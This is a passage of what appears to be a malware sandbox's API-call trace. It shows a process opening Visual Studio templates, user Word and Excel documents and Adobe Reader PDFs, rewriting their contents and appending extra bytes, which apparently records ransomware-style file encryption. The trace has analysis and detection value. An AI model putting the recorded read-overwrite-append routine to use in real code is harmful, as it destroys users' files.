8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0031.788] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.788] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x26d [0031.788] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.789] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.789] ReleaseMutex (hMutex=0x128) returned 1 [0031.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AppConfigInternal.zip", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0031.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AppConfigInternal.zip", cchWideChar=21, lpMultiByteStr=0x1e78bcc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AppConfigInternal.zip", lpUsedDefaultChar=0x0) returned 21 [0031.789] ReadFile (in: hFile=0x12c, lpBuffer=0x2510e68, nNumberOfBytesToRead=0x26d, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2510e68*, lpNumberOfBytesRead=0x2a0f2bc*=0x26d, lpOverlapped=0x0) returned 1 [0031.794] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0031.794] WriteFile (in: hFile=0x12c, lpBuffer=0x1d80038*, nNumberOfBytesToWrite=0x7f5, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80038*, lpNumberOfBytesWritten=0x2a0f2d0*=0x7f5, lpOverlapped=0x0) returned 1 [0031.794] CloseHandle (hObject=0x12c) returned 1 [0031.794] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0031.797] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.797] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x83f [0031.797] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.797] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.797] ReleaseMutex (hMutex=0x128) returned 1 [0031.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Resource.zip", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Resource.zip", cchWideChar=12, lpMultiByteStr=0x1e62fec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Resource.zip", lpUsedDefaultChar=0x0) returned 12 [0031.797] ReadFile (in: hFile=0x12c, lpBuffer=0x25c3dc8, nNumberOfBytesToRead=0x83f, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3dc8*, lpNumberOfBytesRead=0x2a0f2bc*=0x83f, lpOverlapped=0x0) returned 1 [0031.798] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0031.799] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9f08*, nNumberOfBytesToWrite=0xdc7, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c9f08*, lpNumberOfBytesWritten=0x2a0f2d0*=0xdc7, lpOverlapped=0x0) returned 1 [0031.799] CloseHandle (hObject=0x12c) returned 1 [0031.799] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0031.801] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.801] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x24d [0031.802] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.802] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.802] ReleaseMutex (hMutex=0x128) returned 1 [0031.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Class.zip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Class.zip", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Class.zip", lpUsedDefaultChar=0x0) returned 9 [0031.802] ReadFile (in: hFile=0x12c, lpBuffer=0x1e54528, nNumberOfBytesToRead=0x24d, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54528*, lpNumberOfBytesRead=0x2a0f2bc*=0x24d, lpOverlapped=0x0) returned 1 [0031.803] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0031.803] WriteFile (in: hFile=0x12c, lpBuffer=0x1d80038*, nNumberOfBytesToWrite=0x7d5, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80038*, lpNumberOfBytesWritten=0x2a0f2d0*=0x7d5, lpOverlapped=0x0) returned 1 [0031.803] CloseHandle (hObject=0x12c) returned 1 [0031.804] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\settingsinternal.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0031.804] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.804] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x419 [0031.804] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.804] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.804] ReleaseMutex (hMutex=0x128) returned 1 [0031.804] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SettingsInternal.zip", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0031.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SettingsInternal.zip", cchWideChar=20, lpMultiByteStr=0x1e78bcc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SettingsInternal.zip", lpUsedDefaultChar=0x0) returned 20 [0031.805] ReadFile (in: hFile=0x12c, lpBuffer=0x2510e68, nNumberOfBytesToRead=0x419, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2510e68*, lpNumberOfBytesRead=0x2a0f2bc*=0x419, lpOverlapped=0x0) returned 1 [0031.806] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0031.806] WriteFile (in: hFile=0x12c, lpBuffer=0x1d80038*, nNumberOfBytesToWrite=0x9a1, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80038*, lpNumberOfBytesWritten=0x2a0f2d0*=0x9a1, lpOverlapped=0x0) returned 1 [0031.806] CloseHandle (hObject=0x12c) returned 1 [0031.807] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mh5S3pNH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mh5s3pnh.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0031.807] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.807] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x938b [0031.807] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.807] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.807] ReleaseMutex (hMutex=0x128) returned 1 [0031.807] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mh5S3pNH.xlsx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mh5S3pNH.xlsx", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mh5S3pNH.xlsx", lpUsedDefaultChar=0x0) returned 13 [0031.808] ReadFile (in: hFile=0x12c, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0031.808] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x838b [0031.808] ReadFile (in: hFile=0x12c, lpBuffer=0x2510e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2510e48*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.808] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x838b [0031.809] WriteFile (in: hFile=0x12c, lpBuffer=0x2510e48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2510e48*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.809] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0031.809] WriteFile (in: hFile=0x12c, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0031.809] CloseHandle (hObject=0x12c) returned 1 [0031.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lBEj0Us9.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lbej0us9.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0031.810] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.810] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x16491 [0031.811] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.811] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.811] ReleaseMutex (hMutex=0x128) returned 1 [0031.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lBEj0Us9.docx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lBEj0Us9.docx", cchWideChar=13, lpMultiByteStr=0x1e631ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lBEj0Us9.docx", lpUsedDefaultChar=0x0) returned 13 [0031.811] ReadFile (in: hFile=0x12c, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0031.812] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x15491 [0031.812] ReadFile (in: hFile=0x12c, lpBuffer=0x2510e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2510e48*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.812] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x15491 [0031.812] WriteFile (in: hFile=0x12c, lpBuffer=0x2510e48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2510e48*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.812] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0031.812] WriteFile (in: hFile=0x12c, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0031.812] CloseHandle (hObject=0x12c) returned 1 [0031.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0031.814] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.814] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x3fe4ab [0031.814] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.814] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.814] ReleaseMutex (hMutex=0x128) returned 1 [0031.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Built-In Building Blocks.dotx", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0031.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Built-In Building Blocks.dotx", cchWideChar=29, lpMultiByteStr=0x1e7fc3c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Built-In Building Blocks.dotx", lpUsedDefaultChar=0x0) returned 29 [0031.814] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0031.869] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0031.884] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0x2000, lpOverlapped=0x0) returned 1 [0031.889] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3fc4ab [0031.889] ReadFile (in: hFile=0x12c, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2a0f278*=0x2000, lpOverlapped=0x0) returned 1 [0031.897] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3fc4ab [0031.899] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9e08*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c9e08*, lpNumberOfBytesWritten=0x2a0f28c*=0x2588, lpOverlapped=0x0) returned 1 [0031.899] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0031.899] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0031.899] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0031.900] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2a0f28c*=0x2000, lpOverlapped=0x0) returned 1 [0031.900] CloseHandle (hObject=0x12c) returned 1 [0032.427] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0032.427] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.427] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x561b [0032.429] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.431] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.431] ReleaseMutex (hMutex=0x128) returned 1 [0032.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0032.431] ReadFile (in: hFile=0x12c, lpBuffer=0x1d867a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d867a8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.466] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x461b [0032.466] ReadFile (in: hFile=0x12c, lpBuffer=0x25cb238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25cb238*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.468] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x461b [0032.468] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9208*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c9208*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.468] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0032.468] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9208*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c9208*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0032.468] CloseHandle (hObject=0x12c) returned 1 [0032.469] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0032.470] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.470] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x109db [0032.470] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0032.470] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.470] ReleaseMutex (hMutex=0x128) returned 1 [0032.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.470] WideCharToMultiByte (in: CodePage=0xfde9, 